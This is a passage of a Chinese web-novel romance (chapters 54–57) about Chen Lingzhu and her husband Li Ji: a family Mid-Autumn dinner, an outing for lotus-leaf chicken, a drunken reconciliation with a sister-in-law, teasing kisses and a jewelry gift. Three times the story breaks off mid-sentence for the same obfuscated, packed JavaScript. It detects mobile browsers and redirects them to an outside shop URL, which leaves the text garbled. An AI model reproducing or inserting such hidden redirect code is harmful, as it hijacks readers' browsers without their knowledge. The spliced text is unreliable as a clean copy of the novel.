李海不在意李庸的话,二夫人却差点被气得吐血。这大房的人就是讨厌,连五岁孩童也是如此!别的不会,专会戳人的肺管子! 镇国公夫人见李庸说出这话来,暗暗惊奇,看了李庸几眼,这才开口道:“庸儿,不得无理。”李庸道是,重新坐下,显然并不在意二夫人的答案。 陈灵珠笑着看了李庸一眼,这小庸儿,她真是没白疼他。 二夫人气得脸红一阵白一阵,可是李庸不过是五岁小儿,童言无忌,她若认真跟他计较,倒显得她小气。 可当着这么多人,她的脸上也下不来,只好瞪了儿子一眼。 李海依然满不在乎地笑道:“娘,庸儿说话真有趣。” 二夫人:“……” 太夫人笑道:“庸儿说得没错,治病救人是好事,不必顾虑太多。皇后娘娘的本意也不是不让二孙媳妇救人,不会见怪的。” 又道:“好了,今日中秋,团聚的日子,今日咱们只管吃菜喝酒,别的都不管。” 李济率先向太夫人举杯,笑道:“孙儿好些年不曾陪祖母过中秋了,孙儿先敬祖母一杯。” 太夫人也举起酒杯,点头笑道:“可不是,你们兄弟父子都是十几岁就常年不在府里,祖母想见你们都难,别说一起过节了。你父亲、叔父如今还在外头,也就是今年你受了伤,才能留在京城过中秋。” 李照芙笑道:“这样说起来,岂不是因祸得福?” 太夫人想了想笑道:“芙儿说得没错,确是塞翁失马,焉知非福。祖母相信天佑我镇国公府,来,我们都喝一杯!” 众人共举杯,李照芙喝了酒,放下酒杯,看向陈灵珠和李济,暗暗有些遗憾。 怪她的嘴太慢了。 不过,庸儿说那话,确实比她合适。 李济像什么事也没发生过一事,没再看李照芙。他拿着酒杯与陈灵珠碰了一下,笑了笑,然后慢慢地啜了一口酒。 …… 次日,陈灵珠应了傅映瑶的邀约,一起去凤山吃荷叶鸡。 因李照槿也想去,便也带上了李照槿。她收拾停当上了马车,却发现李照芙也在车上。 她看李照槿一眼,李照槿忙解释道:“二嫂嫂,二姐姐说她也想去,我想着,你跟傅阿姊好,我一人难免落单,所以拉了二姐姐作伴,嫂嫂不要怪我先斩后奏。” 人都上来了,陈灵珠也做不出将人赶出去的事,便对李照芙道:“你要来也可以,可我是还没原谅你的,你别以为这样就算了。” 李照槿:“……” 李照芙:“……” 在李照槿面前,她的脸上有些挂不住,但陈灵珠肯让她同去已算好了,便点了点头,默默地坐着。 李照槿几时见过她骄横的二姐姐吃瘪,一开始还有些担心她会发脾气,后来见她竟真的老老实实地坐在车厢一个角落,不由暗暗称奇,用敬佩的眼光看着陈灵珠。 凤山下的荷叶鸡,原本是山下的一个农人某日做来自己吃的,只是开窑时香味太浓,吸引了前来凤山游玩的几个贵公子,贵公子们登山后本就饥肠辘辘,闻到这样的香味走不动道,宁愿花高价从农人手中买这只荷叶鸡。 一吃之下不得了,竟是从未吃过这样的美味,于是凤山荷叶鸡的名声就这样传了出去。不断有人上门求.鸡,那农人干脆就在山脚下做了几个窑,搭了几个棚子,专做荷叶鸡供给登山的游人。 这荷叶鸡是将鸡杀了洗净,用酱料和葱姜腌制后以荷叶包裹,而后放入窑内,烧火一段时间后以泥土盖窑,以热气逼熟窑中的鸡。 鸡熟后开窑取出可闻到香气逼人,稍稍冷却后拆开荷叶,则可见鸡皮微黄,用手将之撕开则鸡汁横流,食之,鲜嫩可口,齿颊留香。 马车走了一个时辰就到了凤山,傅映瑶已就在山脚下等着了,见了陈灵珠几人,各自招呼过后,她笑着挽过陈灵珠。 傅映瑶带来的丫鬟早就安排好了,几人进了农人搭的其中一个棚子,丫鬟自去点.鸡。 傅映瑶喜欢美人,镇国公府姐妹两个也如花似玉,但一个太刁蛮任性,一个总是谨小慎微,都不太符合她的口味,所以她与她们虽熟,却始终没有太交好。 她本来只约了陈灵珠,后来陈灵珠派人来说李照槿也想来,这种小事她没有不答应的,自然应好,没想到李照芙也来了。只是今日看李照芙的脸色,那个低着头灰头土脸的样子,哪里有半分平日里骄纵任性的模样? 她也多少听说过她们姑嫂两个的关系,一想便知端的。 她好笑地看了陈灵珠一眼,陈灵珠看她一眼,便知她猜到了,笑了笑,没说什么。 荷叶鸡很快上来,陈灵珠也没要旁人帮忙,自己拆开荷叶,把一只鸡腿轻轻一扯,那鸡腿就离了鸡身。 李照芙和李照槿看得目瞪口呆,她们都是习惯了等人服侍的,这样豪迈的样子她们从未做过。她递了一个鸡腿给傅映瑶,又扯下一个给李照槿,本想将鸡翅也扯下来,却一时不够力气,拖延了些时间。 半天没分到鸡肉的李照芙有些尴尬,第一反应是想拂袖而去。 她自然不是稀罕吃这鸡腿,可是作为镇国公府的小姐,千娇百宠的,什么时候受过这样的冷待? 可是她不能走,她逞一时意气走了,陈灵珠可能以后就再也不会理她了。 那她今日还来做什么呢? 而且是她得罪陈灵珠在先,今日硬跟着来在后,都是她自找的,怪不得人家。 陈灵珠终于将两只鸡翅拆下,一只鸡翅放在碟子上,一只鸡翅自己吃,看李照芙一眼道:“自己拿,我还没消气。” 说着便坐下吃了起来。 傅映瑶看她可怜,又有些好笑,一边继续吃鸡腿,一边劝她快吃。 李照槿拿了另外一只鸡翅,递给她。 李照芙默默地接过,找了张凳子坐下,小心地咬了一口。 她本来以为自己食不下咽,但没想到这荷叶鸡做得出乎意料地好吃,一不小心,便把整只鸡翅吃完了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828873|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陈灵珠又拆了一只,这次她和李照芙吃鸡腿,傅映瑶和李照槿吃鸡翅。 四人大快朵颐,十分满足,这荷叶鸡虽然难登大雅之堂,但胜在有野趣,闺中女子极难得吃到这样的食物。 吃完了荷叶鸡,时辰尚早,傅映瑶提议去酒坊。 陈灵珠有些犹豫,她自己和傅映瑶去无妨,但带着两个未出嫁的小姑子…… 她迟疑地看了二人一眼,两人立刻明白了,李照芙道:“是我们自己要去的。” 李照槿也道:“不会告诉母亲,母亲问起来,就是我们拉嫂嫂去的。” 陈灵珠在她们二人脸上看了又看,还是下不了决心。 傅映瑶道:“放心,我知道一个地方,清净,酒还好喝,包管出不了事。有事你尽管让伯母找我。” 硬是把她拉去了。 到了地方,傅映瑶让小二上了酒菜。 她指着酒道:“这酒好入口,不过后劲足,你们悠着点喝。” 陈灵珠平时很少喝酒,轻轻啜了一小口,一点点辛辣,一点点甜,还有一点点让人迷醉的香味。 “好喝。”她说,又喝了一口。 傅映瑶笑道:“你别喝太快,喝醉了不是玩的。” 李照芙也喝了一口。这酒很好入口,傅映瑶没介绍错。 她看了看陈灵珠,陈灵珠只顾着和傅映瑶喝酒,没看她。 她不由有些郁闷,给自己倒了一杯酒,一口喝下。 李照槿胆小,伸出舌头试了试,抿了一小口后不敢再喝。 她只是想来见识一下,喝不喝酒的倒无妨。 而且她习惯了照顾人,既然陈灵珠和李照芙都要喝酒,她自然该清醒着照顾她们。 李照芙喝着喝着,哭了起来。 三人同时看向她。 “二嫂嫂,”她吸着鼻子:“你就原谅我罢,以后我一定会对你好的……” 她有些委屈,可是她在陈灵珠面前已经彻底没脸了,还能怎么办呢。 陈灵珠已经有些上头,但她还是摇着头:“我不原谅你,我还没消气。” 李照芙抹了抹眼泪,又继续喝酒。 过了一会儿,她又哭了起来。 众人:“……” “二嫂嫂,我真的好后悔,我是猪油蒙了心,其实二哥能醒来也是多亏了你,我不感恩就算了,还跟你作对。祖母和二哥他们说得对,我就是不懂事……” 她嚎啕大哭了起来。 陈灵珠已有七分醉,被她哭得不耐烦,挥挥手道:“好了好了,别哭了,再哭我就不原谅你了。” 李照芙的哭声戛然而止。 她擦了擦眼泪,爬到陈灵珠身边,猛地抱住她的手臂,摇了摇,“嫂嫂,你真的原谅我?” 陈灵珠用没被抱住的手臂举起杯子喝了一口酒,豪气干云道:“算了算了,不跟你计较了,你烦死了。” 李照芙呵呵傻笑。 几人又喝了一阵,陈灵珠、傅映瑶、李照芙都喝多了,姐姐妹妹一通混叫,又嘻嘻哈哈,傅映瑶还跳起舞来。 李照槿:“……” 这就是傅阿姊说的不会出事?可怜她这个劳碌命,一会儿怎么把她们弄回去啊。 55. 第 55 章 李济看着脸红得像年画娃娃的陈灵珠,有些哭笑不得。 陈灵珠坐着嘿嘿傻笑,眼睛仿佛黏在了李济身上,饶是李济面皮厚,也被她看得有几分不好意思。 “这样看着为夫做什么?”他故意板起脸问她。 “好看。”完全没被他吓到,陈灵珠笑嘻嘻答道。 李济在军营里最喜欢让顾影自怜的新兵去滚一身的泥浆,然后大声训诫他们道:“男儿大丈夫,要那么好看做什么,男儿当建功立业,多杀几个敌人比谁都好看!” 有一次听到兵士议论他长得俊美,他还罚他们绕军营跑了一百圈。 然而眼下他的妻子说他好看,他却心旌摇荡起来:“哦?真的好看?” 陈灵珠又嘿嘿傻笑,用力点头:“好看,是我见过最好看的。” 她还挺有眼光,李济得意地继续问:“那你喜欢吗?” 喜欢吗?陈灵珠摇摇混沌的脑袋,荷叶鸡的香味尤未消散:“喜欢啊。” 笑容不自觉扩大,他心花怒放,忍不住继续问:“有多喜欢?” 陈灵珠回味了一番荷叶鸡的味道,“连续吃、吃十天都不腻。” 他的笑容凝在嘴角:“吃什么不腻?” “荷叶鸡啊!”陈灵珠奇怪地看着他,还能是什么? 李济气结,“你不是在说我?” “你又不能吃。”陈灵珠哈哈直笑:“我怎么会喜欢吃?” 说着笑个不停,好像他说的是什么天大的笑话。 算了,不能跟醉鬼计较,他揉揉额角,叫丫鬟端了水进来给她洗漱。 茯苓绞了帕子想给陈灵珠擦脸,李济道:“我来罢。” 茯苓便将帕子递给了他,他接过要给她擦脸,她却左躲右闪,笑嘻嘻道:“小二除了上菜,还给擦脸吗?” 李济:“……” 他扶她到床边坐下,给她脱了鞋,正要除去她的外衣,陈灵珠却按住衣襟满脸警惕地质问道:“你是谁,想干什么?” 李济:“……” 虽然醉了,倒是还有几分警觉。他无奈道:“你看清楚,我是你夫君。” 陈灵珠盯着他看了好久,冁然一笑,“没错,是我夫君,除了我夫君,还有谁这么好看呢。” 哈哈笑着,她自己把外衣一脱一扔,再朝里侧一滚,咕哝两声,就这么睡着了。 因喝了酒,她发出微微的鼾声,李济放了帕子,凑上去看她。 圆鼓鼓的脸现出酡红,嘴巴微张,上面有一层柔腻的水光。 他看着,心念微动。 扭头看了看身后,茯苓早退下去了。他伸手轻抚她的脸蛋,细腻柔滑,手感极佳。他又笑着用手指轻轻描她的眉毛,眉如远山,在她的脸上尤其好看。顺着眉心往下,是如美玉雕成的秀致鼻子,再往下…… 他盯住了她的唇。 柔软而红润的,甜蜜得让人想一亲芳泽的嘴唇。 他俯身,与她的脸近在咫尺。 他慢慢靠得更近,谁知陈灵珠突然挥起一只手,差点给了他一巴掌。 李济:“……” 陈灵珠第二天醒来,一时有些恍惚。她看了看周围,发现是睡在自己的床上,心下这才稍安。她爬起来,揉了揉额头,睁开眼见李济在旁,便问他:“我什么时候回来的?” 竟醉到这个地步,连自己回来了都不知道。 “昨晚,槿儿送你们回来的。” “哦。”她有些心虚,从没喝过这么多,没想到会醉成这样。 李济不免失笑,逗她:“你记不记得昨日你做了什么?” 他这一说,陈灵珠只觉得头隐隐作痛,揉了揉太阳穴问:“我做了什么?” 李济一脸严肃道:“你发酒疯了。 陈灵珠不确定地看着他:“不会罢?” “真的。” 陈灵珠只记得她和傅映瑶、李照槿、李照芙四人一起到酒坊喝酒,一开始只叫了两壶,后来越叫越多,她和傅映瑶一杯接一杯地对饮,后面好像李照芙哭了,再接下来发生了什么她就不记得了。这是她第一次喝醉,她也不知道自己酒品如何。 她吞了吞口水,抬起眼望向李济,讪讪地问道:“我没做,做什么,说什么,不该做的,不该说的罢?” 李济冷哼一声:“做了,也说了。” 她试探道:“我做,做了什么?” 李济忍笑忍得辛苦,他轻咳一声把笑压下去:“你真的不记得了?” 陈灵珠摇头,小心翼翼地再问:“我到底做了什么?” 李济道:“其实也没什么,你只是轻薄了我。” 陈灵珠脑中轰然一声,全身血液齐齐往头上涌,但转念一想又觉得不可能,她虽然醉了,但应当不至于做这样的事。不可能,绝不可能! 可是昨夜的事她真的不记得了,听说有些酒品差的人喝醉了会跟平时判若两人,万一她碰巧,刚好,适逢就是那种酒品差的人呢? 她不敢想,用双手捂住脸。 “你一直抱住我—”他故意停顿了一下,等陈灵珠从掌中抬起头看他,才继续道:“要亲我。” 陈灵珠顿时觉得自己的脸火辣辣地烧了起来。 “不可能!”她嘴硬道,可惜这句话虽说得斩钉截铁,但其实没有多少底气。 李济看着她比昨天醉酒还要更红三分的脸,幽幽道:“你若不信,问几个丫头就知道了,她们可是全看见了。” 他一点也不担心她真的去问,这么丢脸的事,她怎么可能真的去找丫鬟对证。 见他神色不似说谎,还如此肯定地说可以找丫鬟对证,陈灵珠本来只有五分相信,如今已是信了九分,她尴尬道:“我真的这么做了?” “当然是真的!我还能骗你不成?”李济义愤填膺:“在你眼里,我就这样信不过?” 陈灵珠摆手否认:“不是不是,当然不是。我就是,就是,就是……” 就是了半天,没就是个结果出来。 她又羞又窘,一时词穷。 李济几时见过她这个模样,心中一动。 他拉过她的双手扶在自己腰上,“你就是这么抱着我,”他又凑近了一点,“叫我夫君——”,见她呆愣愣地毫无反应,他得寸进尺地捧住她的脸,“然后……” 他把嘴唇印了上去。 他想象过无数次,无论哪一次都不如此刻美好,少女柔软丰润的嘴唇是他从未体验过的美妙,他忍不住品了又品。 陈灵珠迷迷糊糊地,待她清醒过来时,发现李济正含.着她的唇珠反复吐纳,仿佛她的唇.珠是妖精的内丹。 她“啊”地一声推开李济,将脸深深地埋进被子里,恨不得原地消失。 感觉过了一个甲子这么久,她才抬起头来,却见李济嘴角含笑,目光炯炯地看着她,“你看——”这登徒子先发制人道:“你就是这样轻薄我的。” 若她现在还看不出李济在戏弄她,她就枉受了十几年美食的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833278|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滋养!她“咚”地跳下床,指着他,“你你你”你了半天,又不知该说他什么,猛地一跺脚,转身跑出去了。 …… 陈灵珠跑了出去脑子还乱糟糟的,便带着丫鬟漫无目的地在镇国公府内四处走。走着走着又遇到了李照芙。 她显然也是宿醉醒来不久,还揉着太阳穴,说着头痛。 只是见了她,李照芙却是眼睛一亮,然后神色舒展,喜笑颜开。 陈灵珠心里刚闪过关于昨晚的模模糊糊的记忆,李照芙已小跑上前亲热地搀住她。 “嫂嫂!” 陈灵珠看着她的手,想挣脱,“你……” 李照芙把她的手臂拉得更紧,“嫂嫂昨日说原谅我了,可不能反悔。” 陈灵珠:“……” 她什么时候说过这话了? 喝酒误事,她再也不敢喝醉了! 好不容易与李照芙分开,陈灵珠继续在外面逛了一大圈——李济中秋休沐三日,如今他必定就待在梅林上筑之中。 想到刚才那样的唇舌交接,她一阵脸热,无论如何不愿回梅林上筑面对他。 但今日的更漏似乎出了差错,她逛了半日,才堪堪到巳时。 她酒醉才醒,手脚还有些发软,想了想,便带着人去了太夫人那儿。 她陪着太夫人用午膳、下棋,消磨了大半日,眼看暮色四合,太夫人道:“济儿难得休沐,珠儿,你别在这儿陪着我了,快回去和济儿用膳罢。” 陈灵珠还想找借口,太夫人却笑着挥手让她回去。 就这么被赶回了梅林上筑,进院子前,她深吸一口气,然后若无其事、昂首挺胸地进了西院。李济果然没出去,见了她,笑着让下人摆膳。 陈灵珠自觉神色自然,不慌不忙地在一旁坐下。 只是,用膳就用膳罢,那登徒子却一直眉眼含笑,不知在笑个什么劲儿。 虽然他笑得很好看,她还是恼了,“夫君到底在笑什么?有何可笑之处?” 他果然有所收敛,她垂眸夹菜,一抬眼,这可恨的家伙又笑了! 陈灵珠:“……” 论面皮厚,她是怎么也不及他。 “夫君如此,叫我怎么用膳?” 李济:“好好好,我不笑了。” 但到了晚上两人就寝的时候,李济又恢复了他那无赖样,拉着她不肯松手,说早晨试得不真切,非要她再让他试一试。 陈灵珠自然不肯,那样含来吐去的,羞都要羞死了。 她不愿意,李济便委委屈屈地侧身睡下了。 陈灵珠却被他闹得睡不着,过了一炷香的功夫,听他的呼吸渐渐变得绵长,似乎真的睡着了,便用手肘撑起半个身体、勾着脖子去看他。 他闭着眼睛,躺着一动未动,呼吸均匀而平静。 她松了一口气,放下手肘刚准备重新躺回去时,却忽然被一只手拉了一下。 她吃了一惊,差点惊叫出声,李济已像一只迅捷的豹子,翻身覆了上来。 “少夫人偷偷看我做什么?” 他很是得意,轻笑了一声,漆黑的眸子在黑暗中闪着光。 陈灵珠:“……” 到底是谁偷看谁? 他想必一直在偷看她,早就把她的种种举动看在眼里,只是一直在装睡。 “我不管,你偷看我把我吵醒了,你要赔我。” 他声音渐哑,不待陈灵珠回神,早吻住了她那温软的红唇。 56. 第 56 章 一觉醒来,陈灵珠打了个呵欠,伸了个懒腰,昨夜她被李济闹到半夜才睡,有些疲倦。伸完懒腰,她发现李济也坐起了身,正眉目舒展地对她笑。 她连忙用手掩住嘴,双眼警惕地看着他。 李济:“……” 见李济洗漱去了,陈灵珠连忙下床,快步走到妆匣前,打开镜子照了照。 还好,看不大出来。 紫苏进来服侍洗漱,见她在照镜子,笑道:“少夫人今日气色真好,尤其是嘴唇,不用唇脂都这么好看。” 做贼心虚的陈灵珠:“……” 她忙掩饰道:“我这两日有点上火,嘴唇都有点肿了,一会儿让厨房给我熬点梨汤喝。” 欲盖弥彰,她不说紫苏还没留意,她一说,紫苏立刻仔细看了看,然后道:“真的,少夫人,你的嘴唇红得厉害,看着还比从前丰润。不过,上火嘴唇会肿吗?婢子记得你以前不会这样啊。” 陈灵珠:“……” “我也不知。大概是……大概是镇国公府和陈府的水土有所不同,我的身体也随着变化了罢。” 这话简直荒唐,镇国公府与陈府就隔几条街,怎么可能水土不同,好在紫苏对她一贯信任,她说什么信什么,也没再继续追问。 陈灵珠松了一口气,洗漱完出来次间用朝食,见李济又眉开眼笑地看着她,知道刚才的话全让他听去了,不由剜了他一眼,就是他让她“上火”,还敢取笑她。 李济自知有错,往她碗里夹了一个小包子,“今日包子做得很好,多吃点。” 她不客气地夹起包子,把它当成李济,狠狠地咬了一口,然后咬牙切齿地咀嚼。 李济笑着,怕她以形补形过度,真把自己气成了一只包子,又往她碗里夹了一块饼,平衡一下。 今日的早膳很是美味,陈灵珠渐渐专心,他笑了笑,不再闹她,又让几个丫鬟不用守在这里,去做自己的事。 待陈灵珠吃饱喝足,他忽道:“别动!” 她不免一愣,李济道:“你的嘴角有东西。” 她掏出帕子去擦,他将帕子拿了过来,“我来帮你。” 这登徒子定然没安好心,陈灵珠刚要夺回帕子,李济已经已经捧着她的脸,亲了上来。 陈灵珠:“……” 因为总感觉自己的嘴唇看起来不正常,今日陈灵珠都不敢去太夫人那儿了。太夫人是个老人精,眼睛虽然花了,可是该看到的东西她总能看得出来。 就连傅映瑶,她也希望她不要来了,不然,见了她这个样子,指不定要怎么笑话她呢。 都怪李济! 她瞥了他一眼,那没脸没皮的家伙只讪讪地笑。 “真的看不出来。” “你还说!” “那我给你咬回来,让你消消气儿?” 陈灵珠:“……” 她扭过头不理他。 李济提议:“既然你这么担心,不如我们出去走走,外面的人又不知道你原来长什么样儿,还以为你的嘴唇本来就是这么丰润的呢。” 陈灵珠:“……” 但她不得不承认,他的话也有几分道理。 于是她接受了李济的提议,两人坐着马车来到了永安街。 一下马车,便看到街角有许多人围了一个圈,陈灵珠知道必有热闹看,拉着李济道:“夫君,去那边看看。” 今日本就是陪她,李济自然答应。 两人到了圈外一看,原来是在耍把戏。 此时卖艺人正表演顶缸。 只见那艺人将一个大缸高高抛起,然后用头顶、脖子、背部、肚子、膝盖、脚尖等各个部位去接住空中掉下来的大缸,那大缸几次差点掉到地上又被巧妙地接住,惹得围观的众人发出阵阵惊叹声。 陈灵珠也看得津津有味,随着众人将钱币抛到台中央。 李济问她:“好看吗?” 陈灵珠一边看一边点头,“好看。” 其实像这种把戏,她看了很多次,但无论看多少次,她还是觉得好看。尤其是跳火圈、喷火、刀枪不入、心口碎大石这些,每一次看,她都目不转睛。 李济看着她笑了,虽然他不觉得这些把戏好看,但陪着她看,似乎另有一番意趣。 看到百戏散场,李济带着陈灵珠去了金玉阁,掌柜的热情地迎了上来。 “世子,您来了?” 李济点头,问他:“我的东西怎么样了?” “世子来得巧。”掌柜忙道:“刚刚送来,本想送到府上的,可巧世子就来了。” “世子,世子夫人,楼上请。” 哈着腰将人请到厢房,又让人上了好茶,掌柜的道:“世子和世子夫人稍等,小人这就将东西呈上来。” 说罢快步下了楼,不一会儿,捧上来一个紫檀木镶碧玉的盒子。 “请世子和夫人过目。” 李济看似随意地对陈灵珠道:“打开看看。” 陈灵珠狐疑地看他一眼,给她的?他什么时候给她订的首饰? 李济一副高深莫测的模样,示意她打开首饰盒。 掌柜在旁边笑道:“世子夫人,这是世子亲手绘的图,亲自到小店来订做的。小店照着世子的要求,紧赶慢赶了好一段日子,才做出了这副头面,您快看看合不合心意。若是哪里做得不好的,小店即刻拿回去让匠人更改。” 他是个有眼色的人,笑道:“世子夫人慢慢看,小人在楼下侯着,有事儿您二位叫一声,小人马上上来。” 说罢便含着笑哈着腰退了下去。 陈灵珠打开紫檀木首饰盒,见里面放着一套宝石点翠珍珠头面,头冠上的紫珍珠大而圆,珠钗上的珍珠流苏流光溢彩,光华摄人,是难得一见的珍品。 但这套头面特别的不是它们的华美,而是无论头冠、顶簪、鬓钗、长簪、挑心、分心、还是掩鬓、耳坠、手镯、戒指、花钿,上面都雕有一只小巧的、憨态可掬的小猪,跟她帕子上绣的那只一模一样。 “补给你的及笄礼。”他在旁边道。 她抬眼看他,她在与他成婚的第二日及笄,当时他还昏迷不醒,自然不会送她什么及笄礼。 他似漫不经意道:“你是我李济之妻,镇国公府的世子夫人,及笄礼岂能寒酸。” 李济大概是更改婚书时知道了她的生辰,她抚了抚鬓钗上的小猪,“夫君画得真像。” 女子的手帕虽不算什么私密之物,但也不是可以随便拿出去给人的,李济不是这么没有分寸的人,想来是拿了她的帕子,照着画了图,来订了这副头面。 他的脸上闪过一丝尴尬,随即笑道:“随手一画罢了。” 他自小聪慧,凡事一点就通,甚至无师自通,唯独在画画一项,却少了些天分。所以绘这一套头面的式样,着实费了他不少功夫。她的帕子是不能拿出去的,只能照着帕子画出来,但她那小猪看似简单,神韵却难描摹,他画来画去,纸上的始终是一只又丑又可笑的猪八戒。对着帕子画了无数次后,才终于叫他画了出来。怕下人描述不好,他又亲自来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839174|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了金玉阁,细细地说了他的要求。 当然,只要她喜欢这副头面,那些都不值一提了。 看着她惊喜的模样,他很是愉悦,又忍不住有些得意,笑着问她:“喜欢吗?” “喜欢。”她用力点头:“很喜欢。” “那我帮你戴上试试?” 本该娇羞点头的人却忽然警惕起来,看着他没说好也没说不好。 李济:“……” 他咳了一声,义正词严道:“就帮你戴上试试看,你把我当什么人了?” 陈灵珠有些赧然,是她草木皆兵了。 “那你小心不要把我的头发弄乱了。” 今日他们没带丫鬟和小厮,若头发乱了,只能自己收拾,她的手艺比不上紫苏和茯苓。 “放心,为夫的手比刚才那顶缸的还稳。” 说罢,他拿过头冠,稳稳地戴到陈灵珠的头上,再帮她略略调整。 戴着这顶珍珠头冠的美人轻轻抬眼,眉眼盈盈,秋波含烟。 李济恍惚间,好像看到了刚被揭开盖头的新娘。 这就是他的新娘。 “吾妻甚美。”他低声道。 一抹红霞飞上她的脸颊,让她微微垂了头,俄而又抬起头道:“夫君才知道?” “早就知道了。”他弯下腰,抬起她的脸,含起那两瓣在头冠的衬托下愈发娇艳欲滴的嘴唇。 陈灵珠:“……” 这里到底是外面,李济理智尚存,浅尝辄止。 她推开他,到镜前照了照。 还好,鬓发未乱。她对着镜子小心地解头冠,李济想帮她,她却不肯再信他,勒令他站在一旁不许动。 收拾好了,尽管李济告诉她一点儿问题没有,她还是对着镜子照了又照,始终不够满意,总觉得自己看上去有点怪,别人一眼就能看出来。 她也不想再在外面逛了,催着李济回去。 李济道好,出去会了账,跟她一起下楼。 陈灵珠心虚,恨不得一步就跨进了马车,再一步便回了梅林上筑的内室,如此,就不会被别人看到了。 但天不从人愿,怕什么就来什么,刚下了楼梯,便听到掌柜惊喜道:“张世子,张少夫人,您二位来啦?” 傅映瑶带着笑的声音道:“有一段时日没来了,我来看看你这儿有什么新样式。” 掌柜道:“有有有,新样式尽有……” 陈灵珠:“……” 她现在躲回厢房还来得及吗? 幽怨地瞥李济一眼,他却捏了捏她的手心,示意她不必担心。 遇到了也是没办法,她硬着头皮,挤出一个笑,一副淡定自若的模样跟张现和傅映瑶打招呼。 “阿姊,张大哥,真巧,”她尴尬地干巴巴道:“在这里都遇上了。” 天知道,此时此刻,她最不想看到的便是傅映瑶。 傅映瑶和张现见了他们很是惊喜,笑道:“原来你们在这里,难怪方才去镇国公府你们不在。” 她又看了看李济,笑道:“原来是铁树开花了。” 陈灵珠心虚得很,道:“阿姊,张大哥,你们慢慢看,我们先走了。” 说着就想快步出金玉阁的门。 “且慢!” 没眼色的傅映瑶拦住她,将她拉到僻静处,将她上下打量一番,又看了李济两眼,低声笑道:“妹妹,你这嘴唇是怎么啦?我看着怎么像被狗啃了似的?” 李济:“……” 陈灵珠:“……” 57. 第 57 章 太夫人的松鹤院里,镇国公夫人、二夫人、三夫人正陪着太夫人闲谈。谈着谈着,便谈到了李照葵的亲事。 李照葵的亲事已经定了下来,二夫人虽然不满意胡垚这个女婿,但事已至此,多想无益,倒不如多为女儿挣些嫁妆。 公中肯定会出一份的,这种已经有了定例的二夫人不紧张,她是想看看太夫人会为李照葵添多少。 谁不知道太夫人私库里的东西满满当当,随便拿出一件来,只怕都是价值连城的宝物。若是以前她也不担心,但上一次李澄出事的时候她说了几句话,惹得太夫人大怒,说出了李照葵的婚事让她自己筹办的话,如今也不知道太夫人到底怎么想。 她道:“女儿要出嫁了,我和她爹都没有多少嫁妆给她,只能竭尽所能罢了。” 二媳妇的意思,太夫人岂会看不出来,她家私多,也不在乎这点子东西,孙女儿出嫁,她也舍不得,多给她点儿东西傍身也是应该的,便对二夫人道:“你让葵儿得空上我这儿来,我让她挑几样东西。” 这话一出,二夫人顿时眉开眼笑地应道;“哎,媳妇回去就让葵儿来给祖母请安。” 太夫人又问国公夫人道:“公中的东西准备得怎么样了?” 国公夫人道:“都准备得差不多了,等姑爷家一来,包管葵儿风风光光地出嫁。” 二夫人闻言,便想刺国公夫人几句,想问国公夫人这个做伯母的准备了什么东西给侄女儿添妆,还没问出来,国公夫人已道:“我这儿,也有几件东西给葵儿的,一会儿我回了院里便让人给葵儿送去。葵儿若有什么想要的,也可以来和我说。” 二夫人想说的话都被噎在了喉咙里,只能讪讪地替女儿道谢,然后欢天喜地地去了女儿李照葵的院子,告诉她刚刚发生的事,让她赶紧去太夫人那儿挑几件好的。 李照葵微微蹙了眉,“娘,您这样,祖母还以为我盯着她的东西呢。” 母亲为她好她知道,可这样真的有点跌份儿。 二夫人骂道:“你这死丫头,娘还不是为了你。娘不提醒你祖母,她说不定就装糊涂,只当忘了这件事。婚期都定了这么久了,你看她给你东西没有?娘豁出脸去争取是为了谁,你倒好,还怪起娘来!” 祖母的为人李照葵是知道的,只要祖母有,这些阿堵物又何尝吝惜过呢,母亲大可不必如此。何况就算祖母不给,光是公中给的也很不少了,祖母还说她远嫁,让大伯母和母亲照丰厚了办,这些日子嫁妆一担担地抬进来,她又不是没有看见。 “娘,我不是怪您,可祖母给是一回事,咱们开口问她要,总归是落了下乘,不太妥当。” 二夫人道:“有什么不妥当的?镇国公府其他的女孩儿出嫁,你祖母都给了,难道个个都有,就你没有?我的女儿难道就低人一等不成?” 李照葵:“正因为个个都有,我们才不必这么上赶着,祖母不会落了我那一份儿的。” 二夫人:“……” 她恼了,骂道:“你们个个都想气死我!你爹也不争,你哥嫂也不争,你也不争,就我一个人是坏人是罢?没有我拉下脸来去争去抢,你们能过得这么好?早被大房欺压到角落去了!还有你现成的吃香喝辣、穿金戴银的好日子呢!” 李照葵想说大伯父大伯母不是这样的人,但她了解母亲,这话一出口,只怕没完没了了,遂闭口不言。 